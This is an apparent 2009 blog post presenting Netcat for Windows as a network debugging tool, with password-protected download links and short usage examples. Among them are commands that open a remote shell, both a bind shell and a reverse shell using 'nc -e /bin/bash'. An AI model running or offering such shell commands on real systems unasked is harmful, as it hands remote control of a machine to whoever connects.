Netcat for Windows

April 10, 2009

Netcat is a simple networking utility which reads and writes data across network connections using the TCP/IP protocol. It's a wonderful tool for debugging all kinds of network problems. It allows you to read and write data over a network socket just as simply as you can read data from stdin or write to stdout. I have put together a few examples of what this can be used to accomplish.

Establishing a connection and getting some data over HTTP:

# nc 80
GET / HTTP/1.0

<!-- site's code here -->

Creating a shell:

  1. Remote machine: nc -l 1234 -e /bin/bash
  2. Local machine: nc remote_machine 1234

Creating a reverse shell:

  1. Local machine: nc -l 1234
  2. Remote machine: nc -e /bin/bash local_machine 1234

If you'd like to learn more about netcat, I can recommend this book (I served as the technical editor):

I'm sure you are really just here for the download.

Download (password:nc) - Netcat for Windows

If you are having problems due to antivirus programs detecting this as a threat, the following version may be helpful to you. It is compiled with the -e remote execution option disabled. Thanks go to Rodney Beede for putting this together.

Download (password:nc) - Netcat for Windows (without -e)

Check out my other pages tagged "blog".